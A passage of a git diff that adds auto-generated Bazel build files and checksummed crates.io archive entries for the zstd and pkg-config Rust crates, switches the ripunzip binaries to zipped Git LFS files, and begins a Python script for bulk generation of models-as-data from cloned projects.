"@rules_rust//rust/platform:x86_64-unknown-fuchsia": [], + "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-none": [], + "@rules_rust//rust/platform:x86_64-unknown-uefi": [], + "//conditions:default": ["@platforms//:incompatible"], + }), + version = "0.1.32", + deps = select({ + "@rules_rust//rust/platform:aarch64-apple-darwin": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:aarch64-apple-ios": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:aarch64-apple-ios-sim": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:aarch64-linux-android": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:armv7-linux-androideabi": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:i686-apple-darwin": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:i686-linux-android": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:i686-unknown-freebsd": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:i686-unknown-linux-gnu": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:x86_64-apple-darwin": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:x86_64-apple-ios": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:x86_64-linux-android": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:x86_64-unknown-freebsd": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [ + "@vendor_ts__libc-0.2.171//:libc", # cfg(unix) + ], + "//conditions:default": [], + }), +) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.pkg-config-0.3.32.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.pkg-config-0.3.32.bazel new file mode 100644 index 000000000000..8fb981887a7a --- /dev/null +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.pkg-config-0.3.32.bazel @@ -0,0 +1,83 @@ +############################################################################### +# @generated +# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To +# regenerate this file, run the following: +# +# bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors +############################################################################### + +load("@rules_rust//rust:defs.bzl", "rust_library") + +package(default_visibility = ["//visibility:public"]) + +rust_library( + name = "pkg_config", + srcs = glob( + include = ["**/*.rs"], + allow_empty = True, + ), + compile_data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + crate_root = "src/lib.rs", + edition = "2018", + rustc_flags = [ + "--cap-lints=allow", + ], + tags = [ + "cargo-bazel", + "crate-name=pkg-config", + "manual", + "noclippy", + "norustfmt", + ], + target_compatible_with = select({ + "@rules_rust//rust/platform:aarch64-apple-darwin": [], + "@rules_rust//rust/platform:aarch64-apple-ios": [], + "@rules_rust//rust/platform:aarch64-apple-ios-sim": [], + "@rules_rust//rust/platform:aarch64-linux-android": [], + "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [], + "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [], + "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [], + "@rules_rust//rust/platform:aarch64-unknown-uefi": [], + "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:armv7-linux-androideabi": [], + "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:i686-apple-darwin": [], + "@rules_rust//rust/platform:i686-linux-android": [], + "@rules_rust//rust/platform:i686-pc-windows-msvc": [], + "@rules_rust//rust/platform:i686-unknown-freebsd": [], + "@rules_rust//rust/platform:i686-unknown-linux-gnu": [], + "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [], + "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [], + "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [], + "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [], + "@rules_rust//rust/platform:thumbv7em-none-eabi": [], + "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [], + "@rules_rust//rust/platform:wasm32-unknown-unknown": [], + "@rules_rust//rust/platform:wasm32-wasip1": [], + "@rules_rust//rust/platform:x86_64-apple-darwin": [], + "@rules_rust//rust/platform:x86_64-apple-ios": [], + "@rules_rust//rust/platform:x86_64-linux-android": [], + "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [], + "@rules_rust//rust/platform:x86_64-unknown-freebsd": [], + "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [], + "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-none": [], + "@rules_rust//rust/platform:x86_64-unknown-uefi": [], + "//conditions:default": ["@platforms//:incompatible"], + }), + version = "0.3.32", +) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zstd-0.13.3.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zstd-0.13.3.bazel new file mode 100644 index 000000000000..2ba80632d93b --- /dev/null +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zstd-0.13.3.bazel @@ -0,0 +1,92 @@ +############################################################################### +# @generated +# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To +# regenerate this file, run the following: +# +# bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors +############################################################################### + +load("@rules_rust//rust:defs.bzl", "rust_library") + +package(default_visibility = ["//visibility:public"]) + +rust_library( + name = "zstd", + srcs = glob( + include = ["**/*.rs"], + allow_empty = True, + ), + compile_data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + crate_features = [ + "arrays", + "default", + "legacy", + "zdict_builder", + ], + crate_root = "src/lib.rs", + edition = "2018", + rustc_flags = [ + "--cap-lints=allow", + ], + tags = [ + "cargo-bazel", + "crate-name=zstd", + "manual", + "noclippy", + "norustfmt", + ], + target_compatible_with = select({ + "@rules_rust//rust/platform:aarch64-apple-darwin": [], + "@rules_rust//rust/platform:aarch64-apple-ios": [], + "@rules_rust//rust/platform:aarch64-apple-ios-sim": [], + "@rules_rust//rust/platform:aarch64-linux-android": [], + "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [], + "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [], + "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [], + "@rules_rust//rust/platform:aarch64-unknown-uefi": [], + "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:armv7-linux-androideabi": [], + "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:i686-apple-darwin": [], + "@rules_rust//rust/platform:i686-linux-android": [], + "@rules_rust//rust/platform:i686-pc-windows-msvc": [], + "@rules_rust//rust/platform:i686-unknown-freebsd": [], + "@rules_rust//rust/platform:i686-unknown-linux-gnu": [], + "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [], + "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [], + "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [], + "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [], + "@rules_rust//rust/platform:thumbv7em-none-eabi": [], + "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [], + "@rules_rust//rust/platform:wasm32-unknown-unknown": [], + "@rules_rust//rust/platform:wasm32-wasip1": [], + "@rules_rust//rust/platform:x86_64-apple-darwin": [], + "@rules_rust//rust/platform:x86_64-apple-ios": [], + "@rules_rust//rust/platform:x86_64-linux-android": [], + "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [], + "@rules_rust//rust/platform:x86_64-unknown-freebsd": [], + "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [], + "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-none": [], + "@rules_rust//rust/platform:x86_64-unknown-uefi": [], + "//conditions:default": ["@platforms//:incompatible"], + }), + version = "0.13.3", + deps = [ + "@vendor_ts__zstd-safe-7.2.4//:zstd_safe", + ], +) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zstd-safe-7.2.4.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zstd-safe-7.2.4.bazel new file mode 100644 index 000000000000..265b6514b701 --- /dev/null +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zstd-safe-7.2.4.bazel @@ -0,0 +1,158 @@ +############################################################################### +# @generated +# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To +# regenerate this file, run the following: +# +# bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors +############################################################################### + +load("@rules_rust//cargo:defs.bzl", "cargo_build_script") +load("@rules_rust//rust:defs.bzl", "rust_library") + +package(default_visibility = ["//visibility:public"]) + +rust_library( + name = "zstd_safe", + srcs = glob( + include = ["**/*.rs"], + allow_empty = True, + ), + compile_data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + crate_features = [ + "arrays", + "legacy", + "std", + "zdict_builder", + ], + crate_root = "src/lib.rs", + edition = "2018", + rustc_flags = [ + "--cap-lints=allow", + ], + tags = [ + "cargo-bazel", + "crate-name=zstd-safe", + "manual", + "noclippy", + "norustfmt", + ], + target_compatible_with = select({ + "@rules_rust//rust/platform:aarch64-apple-darwin": [], + "@rules_rust//rust/platform:aarch64-apple-ios": [], + "@rules_rust//rust/platform:aarch64-apple-ios-sim": [], + "@rules_rust//rust/platform:aarch64-linux-android": [], + "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [], + "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [], + "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [], + "@rules_rust//rust/platform:aarch64-unknown-uefi": [], + "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:armv7-linux-androideabi": [], + "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:i686-apple-darwin": [], + "@rules_rust//rust/platform:i686-linux-android": [], + "@rules_rust//rust/platform:i686-pc-windows-msvc": [], + "@rules_rust//rust/platform:i686-unknown-freebsd": [], + "@rules_rust//rust/platform:i686-unknown-linux-gnu": [], + "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [], + "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [], + "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [], + "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [], + "@rules_rust//rust/platform:thumbv7em-none-eabi": [], + "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [], + "@rules_rust//rust/platform:wasm32-unknown-unknown": [], + "@rules_rust//rust/platform:wasm32-wasip1": [], + "@rules_rust//rust/platform:x86_64-apple-darwin": [], + "@rules_rust//rust/platform:x86_64-apple-ios": [], + "@rules_rust//rust/platform:x86_64-linux-android": [], + "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [], + "@rules_rust//rust/platform:x86_64-unknown-freebsd": [], + "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [], + "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-none": [], + "@rules_rust//rust/platform:x86_64-unknown-uefi": [], + "//conditions:default": ["@platforms//:incompatible"], + }), + version = "7.2.4", + deps = [ + "@vendor_ts__zstd-safe-7.2.4//:build_script_build", + "@vendor_ts__zstd-sys-2.0.15-zstd.1.5.7//:zstd_sys", + ], +) + +cargo_build_script( + name = "_bs", + srcs = glob( + include = ["**/*.rs"], + allow_empty = True, + ), + compile_data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + "**/*.rs", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + crate_features = [ + "arrays", + "legacy", + "std", + "zdict_builder", + ], + crate_name = "build_script_build", + crate_root = "build.rs", + data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + edition = "2018", + link_deps = [ + "@vendor_ts__zstd-sys-2.0.15-zstd.1.5.7//:zstd_sys", + ], + pkg_name = "zstd-safe", + rustc_flags = [ + "--cap-lints=allow", + ], + tags = [ + "cargo-bazel", + "crate-name=zstd-safe", + "manual", + "noclippy", + "norustfmt", + ], + version = "7.2.4", + visibility = ["//visibility:private"], +) + +alias( + name = "build_script_build", + actual = ":_bs", + tags = ["manual"], +) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zstd-sys-2.0.15+zstd.1.5.7.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zstd-sys-2.0.15+zstd.1.5.7.bazel new file mode 100644 index 000000000000..7db2ad80d024 --- /dev/null +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zstd-sys-2.0.15+zstd.1.5.7.bazel @@ -0,0 +1,157 @@ +############################################################################### +# @generated +# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To +# regenerate this file, run the following: +# +# bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors +############################################################################### + +load("@rules_rust//cargo:defs.bzl", "cargo_build_script") +load("@rules_rust//rust:defs.bzl", "rust_library") + +package(default_visibility = ["//visibility:public"]) + +rust_library( + name = "zstd_sys", + srcs = glob( + include = ["**/*.rs"], + allow_empty = True, + ), + compile_data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + crate_features = [ + "legacy", + "std", + "zdict_builder", + ], + crate_root = "src/lib.rs", + edition = "2018", + rustc_flags = [ + "--cap-lints=allow", + ], + tags = [ + "cargo-bazel", + "crate-name=zstd-sys", + "manual", + "noclippy", + "norustfmt", + ], + target_compatible_with = select({ + "@rules_rust//rust/platform:aarch64-apple-darwin": [], + "@rules_rust//rust/platform:aarch64-apple-ios": [], + "@rules_rust//rust/platform:aarch64-apple-ios-sim": [], + "@rules_rust//rust/platform:aarch64-linux-android": [], + "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [], + "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [], + "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [], + "@rules_rust//rust/platform:aarch64-unknown-uefi": [], + "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:armv7-linux-androideabi": [], + "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:i686-apple-darwin": [], + "@rules_rust//rust/platform:i686-linux-android": [], + "@rules_rust//rust/platform:i686-pc-windows-msvc": [], + "@rules_rust//rust/platform:i686-unknown-freebsd": [], + "@rules_rust//rust/platform:i686-unknown-linux-gnu": [], + "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [], + "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [], + "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [], + "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [], + "@rules_rust//rust/platform:thumbv7em-none-eabi": [], + "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [], + "@rules_rust//rust/platform:wasm32-unknown-unknown": [], + "@rules_rust//rust/platform:wasm32-wasip1": [], + "@rules_rust//rust/platform:x86_64-apple-darwin": [], + "@rules_rust//rust/platform:x86_64-apple-ios": [], + "@rules_rust//rust/platform:x86_64-linux-android": [], + "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [], + "@rules_rust//rust/platform:x86_64-unknown-freebsd": [], + "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [], + "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-none": [], + "@rules_rust//rust/platform:x86_64-unknown-uefi": [], + "//conditions:default": ["@platforms//:incompatible"], + }), + version = "2.0.15+zstd.1.5.7", + deps = [ + "@vendor_ts__zstd-sys-2.0.15-zstd.1.5.7//:build_script_build", + ], +) + +cargo_build_script( + name = "_bs", + srcs = glob( + include = ["**/*.rs"], + allow_empty = True, + ), + compile_data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + "**/*.rs", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + crate_features = [ + "legacy", + "std", + "zdict_builder", + ], + crate_name = "build_script_build", + crate_root = "build.rs", + data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + edition = "2018", + links = "zstd", + pkg_name = "zstd-sys", + rustc_flags = [ + "--cap-lints=allow", + ], + tags = [ + "cargo-bazel", + "crate-name=zstd-sys", + "manual", + "noclippy", + "norustfmt", + ], + version = "2.0.15+zstd.1.5.7", + visibility = ["//visibility:private"], + deps = [ + "@vendor_ts__cc-1.2.7//:cc", + "@vendor_ts__pkg-config-0.3.32//:pkg_config", + ], +) + +alias( + name = "build_script_build", + actual = ":_bs", + tags = ["manual"], +) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/defs.bzl b/misc/bazel/3rdparty/tree_sitter_extractors_deps/defs.bzl index ee2044468e73..0247ee36d9f5 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/defs.bzl +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/defs.bzl @@ -381,6 +381,7 @@ _NORMAL_DEPENDENCIES = { "tracing": Label("@vendor_ts__tracing-0.1.41//:tracing"), "tracing-subscriber": Label("@vendor_ts__tracing-subscriber-0.3.19//:tracing_subscriber"), "tree-sitter": Label("@vendor_ts__tree-sitter-0.24.6//:tree_sitter"), + "zstd": Label("@vendor_ts__zstd-0.13.3//:zstd"), }, }, } @@ -1658,6 +1659,16 @@ def crate_repositories(): build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.itoa-1.0.15.bazel"), ) + maybe( + http_archive, + name = "vendor_ts__jobserver-0.1.32", + sha256 = "48d1dbcbbeb6a7fec7e059840aa538bd62aaccf972c7346c4d9d2059312853d0", + type = "tar.gz", + urls = ["https://static.crates.io/crates/jobserver/0.1.32/download"], + strip_prefix = "jobserver-0.1.32", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.jobserver-0.1.32.bazel"), + ) + maybe( http_archive, name = "vendor_ts__jod-thread-0.1.2", @@ -2048,6 +2059,16 @@ def crate_repositories(): build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.pin-project-lite-0.2.16.bazel"), ) + maybe( + http_archive, + name = "vendor_ts__pkg-config-0.3.32", + sha256 = "7edddbd0b52d732b21ad9a5fab5c704c14cd949e5e9a1ec5929a24fded1b904c", + type = "tar.gz", + urls = ["https://static.crates.io/crates/pkg-config/0.3.32/download"], + strip_prefix = "pkg-config-0.3.32", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.pkg-config-0.3.32.bazel"), + ) + maybe( http_archive, name = "vendor_ts__portable-atomic-1.11.0", @@ -3647,6 +3668,36 @@ def crate_repositories(): build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.zerocopy-derive-0.8.20.bazel"), ) + maybe( + http_archive, + name = "vendor_ts__zstd-0.13.3", + sha256 = "e91ee311a569c327171651566e07972200e76fcfe2242a4fa446149a3881c08a", + type = "tar.gz", + urls = ["https://static.crates.io/crates/zstd/0.13.3/download"], + strip_prefix = "zstd-0.13.3", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.zstd-0.13.3.bazel"), + ) + + maybe( + http_archive, + name = "vendor_ts__zstd-safe-7.2.4", + sha256 = "8f49c4d5f0abb602a93fb8736af2a4f4dd9512e36f7f570d66e65ff867ed3b9d", + type = "tar.gz", + urls = ["https://static.crates.io/crates/zstd-safe/7.2.4/download"], + strip_prefix = "zstd-safe-7.2.4", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.zstd-safe-7.2.4.bazel"), + ) + + maybe( + http_archive, + name = "vendor_ts__zstd-sys-2.0.15-zstd.1.5.7", + sha256 = "eb81183ddd97d0c74cedf1d50d85c8d08c1b8b68ee863bdee9e706eedba1a237", + type = "tar.gz", + urls = ["https://static.crates.io/crates/zstd-sys/2.0.15+zstd.1.5.7/download"], + strip_prefix = "zstd-sys-2.0.15+zstd.1.5.7", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.zstd-sys-2.0.15+zstd.1.5.7.bazel"), + ) + return [ struct(repo = "vendor_ts__anyhow-1.0.97", is_dev_dep = False), struct(repo = "vendor_ts__argfile-0.2.1", is_dev_dep = False), @@ -3698,6 +3749,7 @@ def crate_repositories(): struct(repo = "vendor_ts__tree-sitter-ruby-0.23.1", is_dev_dep = False), struct(repo = "vendor_ts__triomphe-0.1.14", is_dev_dep = False), struct(repo = "vendor_ts__ungrammar-1.16.1", is_dev_dep = False), + struct(repo = "vendor_ts__zstd-0.13.3", is_dev_dep = False), struct(repo = "vendor_ts__rand-0.9.0", is_dev_dep = True), struct(repo = "vendor_ts__tree-sitter-json-0.24.8", is_dev_dep = True), struct(repo = "vendor_ts__tree-sitter-ql-0.23.1", is_dev_dep = True), diff --git a/misc/ripunzip/BUILD.bazel b/misc/ripunzip/BUILD.bazel index 6575b692772b..fb33124f3b28 100644 --- a/misc/ripunzip/BUILD.bazel +++ b/misc/ripunzip/BUILD.bazel @@ -2,7 +2,7 @@ load("@rules_shell//shell:sh_binary.bzl", "sh_binary") alias( name = "ripunzip", - actual = select({"@platforms//os:" + os: "@ripunzip-" + os for os in ("linux", "windows", "macos")}), + actual = select({"@platforms//os:" + os: "@ripunzip-%s//:ripunzip" % os for os in ("linux", "windows", "macos")}), visibility = ["//visibility:public"], ) diff --git a/misc/ripunzip/BUILD.ripunzip.bazel b/misc/ripunzip/BUILD.ripunzip.bazel new file mode 100644 index 000000000000..e2832d1e2758 --- /dev/null +++ b/misc/ripunzip/BUILD.ripunzip.bazel @@ -0,0 +1,11 @@ +load("@bazel_skylib//rules:native_binary.bzl", "native_binary") + +native_binary( + name = "ripunzip", + src = glob(["ripunzip-*"])[0], + out = "ripunzip" + select({ + "@platforms//os:windows": ".exe", + "//conditions:default": "", + }), + visibility = ["//visibility:public"], +) diff --git a/misc/ripunzip/ripunzip-Linux.zip b/misc/ripunzip/ripunzip-Linux.zip new file mode 100644 index 000000000000..d5535b1f17fe --- /dev/null +++ b/misc/ripunzip/ripunzip-Linux.zip @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:411e5578af004e7be449b6945d50b0984efc3308fe42a0b5c9e82d4be38425e1 +size 4888352 diff --git a/misc/ripunzip/ripunzip-Windows.zip b/misc/ripunzip/ripunzip-Windows.zip new file mode 100644 index 000000000000..7ef76bfbb0d7 --- /dev/null +++ b/misc/ripunzip/ripunzip-Windows.zip @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0c0bfe3d9c8a2236ecdb574839e83d54c50a019656d26d4d870e8ca26be083dd +size 1860383 diff --git a/misc/ripunzip/ripunzip-linux b/misc/ripunzip/ripunzip-linux deleted file mode 100755 index 356063894609..000000000000 --- a/misc/ripunzip/ripunzip-linux +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:b5e444b6efcb11e899ff932dc5846927dd78578d0889386d82aa21133e077fde -size 12423064 diff --git a/misc/ripunzip/ripunzip-macOS.zip b/misc/ripunzip/ripunzip-macOS.zip new file mode 100644 index 000000000000..c47a54d2c07f --- /dev/null +++ b/misc/ripunzip/ripunzip-macOS.zip @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a1edacc510b44d35f926e7a682ea8efc1a7f28028cacf31f432e5b4b409a2d2b +size 4140891 diff --git a/misc/ripunzip/ripunzip-macos b/misc/ripunzip/ripunzip-macos deleted file mode 100755 index d80eeea06670..000000000000 --- a/misc/ripunzip/ripunzip-macos +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:e8ff604d47ec88c4a795d307dee9454771589e8bd0b9747c6f49d2a59081f829 -size 10632454 diff --git a/misc/ripunzip/ripunzip-windows.exe b/misc/ripunzip/ripunzip-windows.exe deleted file mode 100755 index 44727f650dbd..000000000000 --- a/misc/ripunzip/ripunzip-windows.exe +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:6e6b68c668a84d1232335524f9ca15dff61f7365ec16d57caa9763fda145f33d -size 4548096 diff --git a/misc/scripts/models-as-data/bulk_generate_mad.py b/misc/scripts/models-as-data/bulk_generate_mad.py new file mode 100644 index 000000000000..22a872dc2bf2 --- /dev/null +++ b/misc/scripts/models-as-data/bulk_generate_mad.py @@ -0,0 +1,500 @@ +""" +Experimental script for bulk generation of MaD models based on a list of projects. + +Note: This file must be formatted using the Black Python formatter. +""" + +import os.path +import subprocess +import sys +from typing import NotRequired, TypedDict, List +from concurrent.futures import ThreadPoolExecutor, as_completed +import time +import argparse +import json +import requests +import zipfile +import tarfile +from functools import cmp_to_key + +import generate_mad as mad + +gitroot = ( + subprocess.check_output(["git", "rev-parse", "--show-toplevel"]) + .decode("utf-8") + .strip() +) +build_dir = os.path.join(gitroot, "mad-generation-build") + + +# A project to generate models for +class Project(TypedDict): + """ + Type definition for projects (acquired via a GitHub repo) to model. + + Attributes: + name: The name of the project + git_repo: URL to the git repository + git_tag: Optional Git tag to check out + """ + + name: str + git_repo: NotRequired[str] + git_tag: NotRequired[str] + with_sinks: NotRequired[bool] + with_sinks: NotRequired[bool] + with_summaries: NotRequired[bool] + + +def should_generate_sinks(project: Project) -> bool: + return project.get("with-sinks", True) + + +def should_generate_sources(project: Project) -> bool: + return project.get("with-sources", True) + + +def should_generate_summaries(project: Project) -> bool: + return project.get("with-summaries", True) + + +def clone_project(project: Project) -> str: + """ + Shallow clone a project into the build directory. + + Args: + project: A dictionary containing project information with 'name', 'git_repo', and optional 'git_tag' keys. + + Returns: + The path to the cloned project directory. + """ + name = project["name"] + repo_url = project["git_repo"] + git_tag = project.get("git_tag") + + # Determine target directory + target_dir = os.path.join(build_dir, name) + + # Clone only if directory doesn't already exist + if not os.path.exists(target_dir): + if git_tag: + print(f"Cloning {name} from {repo_url} at tag 